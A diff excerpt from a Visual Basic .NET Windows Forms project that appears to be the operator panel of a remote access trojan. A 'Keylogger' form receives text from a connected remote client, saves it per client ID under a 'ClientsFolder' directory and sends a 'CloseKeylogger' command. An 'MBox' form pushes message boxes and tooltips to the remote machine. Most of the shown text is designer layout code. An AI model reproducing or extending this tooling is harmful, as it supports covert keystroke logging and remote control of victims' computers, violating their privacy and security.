Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(181, 70)
|
||||
'
|
||||
'CopyToolStripMenuItem1
|
||||
'
|
||||
CopyToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
CopyToolStripMenuItem1.Image = CType(resources.GetObject("CopyToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
CopyToolStripMenuItem1.Name = "CopyToolStripMenuItem1"
|
||||
CopyToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
CopyToolStripMenuItem1.Text = "Copy"
|
||||
'
|
||||
'SelectAllToolStripMenuItem1
|
||||
'
|
||||
SelectAllToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
SelectAllToolStripMenuItem1.Image = CType(resources.GetObject("SelectAllToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
SelectAllToolStripMenuItem1.Name = "SelectAllToolStripMenuItem1"
|
||||
SelectAllToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
SelectAllToolStripMenuItem1.Text = "Select All"
|
||||
'
|
||||
'MenuStrip1
|
||||
'
|
||||
MenuStrip1.BackColor = System.Drawing.Color.White
|
||||
MenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem2, TFind, ToolStripMenuItem3})
|
||||
MenuStrip1.Location = New System.Drawing.Point(0, 0)
|
||||
MenuStrip1.Name = "MenuStrip1"
|
||||
MenuStrip1.Size = New System.Drawing.Size(469, 27)
|
||||
MenuStrip1.TabIndex = 4
|
||||
MenuStrip1.Text = "MenuStrip1"
|
||||
'
|
||||
'ToolStripMenuItem2
|
||||
'
|
||||
ToolStripMenuItem2.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripMenuItem2.Image = CType(resources.GetObject("ToolStripMenuItem2.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem2.Name = "ToolStripMenuItem2"
|
||||
ToolStripMenuItem2.Size = New System.Drawing.Size(58, 23)
|
||||
ToolStripMenuItem2.Text = "Find"
|
||||
'
|
||||
'TFind
|
||||
'
|
||||
TFind.BackColor = System.Drawing.Color.White
|
||||
TFind.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
TFind.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
TFind.ForeColor = System.Drawing.Color.Black
|
||||
TFind.Name = "TFind"
|
||||
TFind.Size = New System.Drawing.Size(100, 23)
|
||||
TFind.Text = ".."
|
||||
'
|
||||
'ToolStripMenuItem3
|
||||
'
|
||||
ToolStripMenuItem3.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem3.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripMenuItem3.Image = CType(resources.GetObject("ToolStripMenuItem3.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem3.Name = "ToolStripMenuItem3"
|
||||
ToolStripMenuItem3.Size = New System.Drawing.Size(59, 23)
|
||||
ToolStripMenuItem3.Text = "Save"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Keylogger
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(469, 284)
|
||||
Controls.Add(T1)
|
||||
Controls.Add(MenuStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Keylogger"
|
||||
Text = "Keylogger"
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
MenuStrip1.ResumeLayout(False)
|
||||
MenuStrip1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents T1 As RichTextBox
|
||||
Friend WithEvents MenuStrip1 As MenuStrip
|
||||
Friend WithEvents ToolStripMenuItem2 As ToolStripMenuItem
|
||||
Friend WithEvents TFind As ToolStripTextBox
|
||||
Friend WithEvents ToolStripMenuItem3 As ToolStripMenuItem
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents CopyToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents SelectAllToolStripMenuItem1 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,58 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
Imports System.Threading
|
||||
Public Class Keylogger
|
||||
|
||||
Public C As Client
|
||||
Public CID As String
|
||||
Public Strb As New StringBuilder
|
||||
Private Sub ToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem2.Click
|
||||
If (T1.Find(TFind.Text, (T1.SelectionStart + T1.SelectionLength), RichTextBoxFinds.None) = -1) Then
|
||||
T1.Find(TFind.Text, 0, RichTextBoxFinds.None)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem3_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem3.Click
|
||||
Try
|
||||
If Not String.IsNullOrEmpty(T1.Text) Then
|
||||
|
||||
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "Keylogger")
|
||||
|
||||
If Not Directory.Exists(fullPath) Then
|
||||
Directory.CreateDirectory(fullPath)
|
||||
End If
|
||||
|
||||
|
||||
Dim objWriter As New System.IO.StreamWriter(fullPath & "\KeyLogger_" & Date.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", False)
|
||||
objWriter.WriteLine(T1.Text)
|
||||
objWriter.Close()
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Keylogger_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseKeylogger")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
|
||||
T1.Copy()
|
||||
End Sub
|
||||
|
||||
Private Sub SelectAllToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SelectAllToolStripMenuItem1.Click
|
||||
T1.SelectAll()
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+491
@@ -0,0 +1,491 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class MBox
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(MBox))
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Label4 = New System.Windows.Forms.Label()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label6 = New System.Windows.Forms.Label()
|
||||
Label7 = New System.Windows.Forms.Label()
|
||||
PictureBox2 = New System.Windows.Forms.PictureBox()
|
||||
Label5 = New System.Windows.Forms.Label()
|
||||
Guna2TabControl1 = New Guna.UI2.WinForms.Guna2TabControl()
|
||||
TabPage1 = New System.Windows.Forms.TabPage()
|
||||
TabPage2 = New System.Windows.Forms.TabPage()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2ComboBox2 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2ComboBox3 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox4 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2GradientButton2 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
StatusStrip1.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
CType(PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Guna2TabControl1.SuspendLayout()
|
||||
TabPage1.SuspendLayout()
|
||||
TabPage2.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ImageStream = CType(resources.GetObject("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
ImageList1.Images.SetKeyName(0, "icons8-letter-16.png")
|
||||
ImageList1.Images.SetKeyName(1, "comments.png")
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 298)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(479, 22)
|
||||
StatusStrip1.TabIndex = 11
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Label4.AutoSize = True
|
||||
Label4.ForeColor = System.Drawing.Color.Black
|
||||
Label4.Location = New System.Drawing.Point(13, 140)
|
||||
Label4.Name = "Label4"
|
||||
Label4.Size = New System.Drawing.Size(49, 13)
|
||||
Label4.TabIndex = 7
|
||||
Label4.Text = "Message"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(13, 100)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(72, 13)
|
||||
Label3.TabIndex = 5
|
||||
Label3.Text = "Message Title"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(13, 48)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(99, 13)
|
||||
Label2.TabIndex = 3
|
||||
Label2.Text = "MessageBoxButton"
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Location = New System.Drawing.Point(176, 24)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(22, 22)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
|
||||
PictureBox1.TabIndex = 2
|
||||
PictureBox1.TabStop = False
|
||||
PictureBox1.Visible = False
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(13, 8)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(88, 13)
|
||||
Label1.TabIndex = 0
|
||||
Label1.Text = "MessageBoxIcon"
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Label6.AutoSize = True
|
||||
Label6.ForeColor = System.Drawing.Color.Black
|
||||
Label6.Location = New System.Drawing.Point(14, 118)
|
||||
Label6.Name = "Label6"
|
||||
Label6.Size = New System.Drawing.Size(29, 13)
|
||||
Label6.TabIndex = 12
|
||||
Label6.Text = "Text"
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Label7.AutoSize = True
|
||||
Label7.ForeColor = System.Drawing.Color.Black
|
||||
Label7.Location = New System.Drawing.Point(14, 78)
|
||||
Label7.Name = "Label7"
|
||||
Label7.Size = New System.Drawing.Size(27, 13)
|
||||
Label7.TabIndex = 10
|
||||
Label7.Text = "Title"
|
||||
'
|
||||
'PictureBox2
|
||||
'
|
||||
PictureBox2.Location = New System.Drawing.Point(177, 41)
|
||||
PictureBox2.Name = "PictureBox2"
|
||||
PictureBox2.Size = New System.Drawing.Size(22, 22)
|
||||
PictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
|
||||
PictureBox2.TabIndex = 5
|
||||
PictureBox2.TabStop = False
|
||||
PictureBox2.Visible = False
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Label5.AutoSize = True
|
||||
Label5.ForeColor = System.Drawing.Color.Black
|
||||
Label5.Location = New System.Drawing.Point(14, 25)
|
||||
Label5.Name = "Label5"
|
||||
Label5.Size = New System.Drawing.Size(28, 13)
|
||||
Label5.TabIndex = 3
|
||||
Label5.Text = "Icon"
|
||||
'
|
||||
'Guna2TabControl1
|
||||
'
|
||||
Guna2TabControl1.Controls.Add(TabPage1)
|
||||
Guna2TabControl1.Controls.Add(TabPage2)
|
||||
Guna2TabControl1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2TabControl1.ImageList = ImageList1
|
||||
Guna2TabControl1.ItemSize = New System.Drawing.Size(140, 30)
|
||||
Guna2TabControl1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2TabControl1.Name = "Guna2TabControl1"
|
||||
Guna2TabControl1.SelectedIndex = 0
|
||||
Guna2TabControl1.Size = New System.Drawing.Size(479, 298)
|
||||
Guna2TabControl1.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty
|
||||
Guna2TabControl1.TabButtonHoverState.FillColor = System.Drawing.Color.FromArgb(CType(CType(216, Byte), Integer), CType(CType(214, Byte), Integer), CType(CType(228, Byte), Integer))
|
||||
Guna2TabControl1.TabButtonHoverState.Font = New System.Drawing.Font("Segoe UI Semibold", 10.0!)
|
||||
Guna2TabControl1.TabButtonHoverState.ForeColor = System.Drawing.Color.White
|
||||
Guna2TabControl1.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(CType(CType(216, Byte), Integer), CType(CType(214, Byte), Integer), CType(CType(228, Byte), Integer))
|
||||
Guna2TabControl1.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty
|
||||
Guna2TabControl1.TabButtonIdleState.FillColor = System.Drawing.Color.White
|
||||
Guna2TabControl1.TabButtonIdleState.Font = New System.Drawing.Font("Segoe UI Semibold", 10.0!)
|
||||
Guna2TabControl1.TabButtonIdleState.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TabControl1.TabButtonIdleState.InnerColor = System.Drawing.Color.White
|
||||
Guna2TabControl1.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty
|
||||
Guna2TabControl1.TabButtonSelectedState.FillColor = System.Drawing.Color.White
|
||||
Guna2TabControl1.TabButtonSelectedState.Font = New System.Drawing.Font("Segoe UI Semibold", 10.0!)
|
||||
Guna2TabControl1.TabButtonSelectedState.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TabControl1.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TabControl1.TabButtonSize = New System.Drawing.Size(140, 30)
|
||||
Guna2TabControl1.TabIndex = 91
|
||||
Guna2TabControl1.TabMenuBackColor = System.Drawing.Color.White
|
||||
Guna2TabControl1.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop
|
||||
'
|
||||
'TabPage1
|
||||
'
|
||||
TabPage1.BackColor = System.Drawing.Color.White
|
||||
TabPage1.Controls.Add(Guna2TextBox2)
|
||||
TabPage1.Controls.Add(Guna2TextBox1)
|
||||
TabPage1.Controls.Add(Guna2ComboBox2)
|
||||
TabPage1.Controls.Add(Label4)
|
||||
TabPage1.Controls.Add(Guna2ComboBox1)
|
||||
TabPage1.Controls.Add(Guna2GradientButton1)
|
||||
TabPage1.Controls.Add(Label3)
|
||||
TabPage1.Controls.Add(Label1)
|
||||
TabPage1.Controls.Add(PictureBox1)
|
||||
TabPage1.Controls.Add(Label2)
|
||||
TabPage1.ImageKey = "icons8-letter-16.png"
|
||||
TabPage1.Location = New System.Drawing.Point(4, 34)
|
||||
TabPage1.Name = "TabPage1"
|
||||
TabPage1.Padding = New System.Windows.Forms.Padding(3)
|
||||
TabPage1.Size = New System.Drawing.Size(471, 260)
|
||||
TabPage1.TabIndex = 0
|
||||
TabPage1.Text = "MessageBox"
|
||||
'
|
||||
'TabPage2
|
||||
'
|
||||
TabPage2.BackColor = System.Drawing.Color.White
|
||||
TabPage2.Controls.Add(Guna2GradientButton2)
|
||||
TabPage2.Controls.Add(Guna2TextBox4)
|
||||
TabPage2.Controls.Add(Guna2TextBox3)
|
||||
TabPage2.Controls.Add(Guna2ComboBox3)
|
||||
TabPage2.Controls.Add(Label6)
|
||||
TabPage2.Controls.Add(Label5)
|
||||
TabPage2.Controls.Add(PictureBox2)
|
||||
TabPage2.Controls.Add(Label7)
|
||||
TabPage2.ImageKey = "comments.png"
|
||||
TabPage2.Location = New System.Drawing.Point(4, 34)
|
||||
TabPage2.Name = "TabPage2"
|
||||
TabPage2.Padding = New System.Windows.Forms.Padding(3)
|
||||
TabPage2.Size = New System.Drawing.Size(471, 260)
|
||||
TabPage2.TabIndex = 1
|
||||
TabPage2.Text = "BallonTooltip"
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(16, 225)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(438, 27)
|
||||
Guna2GradientButton1.TabIndex = 56
|
||||
Guna2GradientButton1.Text = "Ok"
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"Information", "Question", "Warning", "Error", "None"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(16, 24)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(154, 21)
|
||||
Guna2ComboBox1.TabIndex = 94
|
||||
'
|
||||
'Guna2ComboBox2
|
||||
'
|
||||
Guna2ComboBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.BorderRadius = 3
|
||||
Guna2ComboBox2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox2.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox2.ItemHeight = 15
|
||||
Guna2ComboBox2.Items.AddRange(New Object() {"YesNo", "YesNoCancel", "OK", "OKCancel", "RetryCancel", "AbortRetryIgnore"})
|
||||
Guna2ComboBox2.Location = New System.Drawing.Point(16, 64)
|
||||
Guna2ComboBox2.Name = "Guna2ComboBox2"
|
||||
Guna2ComboBox2.Size = New System.Drawing.Size(154, 21)
|
||||
Guna2ComboBox2.TabIndex = 95
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = "MessageBox"
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(16, 116)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(438, 21)
|
||||
Guna2TextBox1.TabIndex = 96
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = "Hello World!"
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(16, 156)
|
||||
Guna2TextBox2.Multiline = True
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(438, 63)
|
||||
Guna2TextBox2.TabIndex = 97
|
||||
'
|
||||
'Guna2ComboBox3
|
||||
'
|
||||
Guna2ComboBox3.BackColor = System.Drawing.Color.Transparent
|
||||
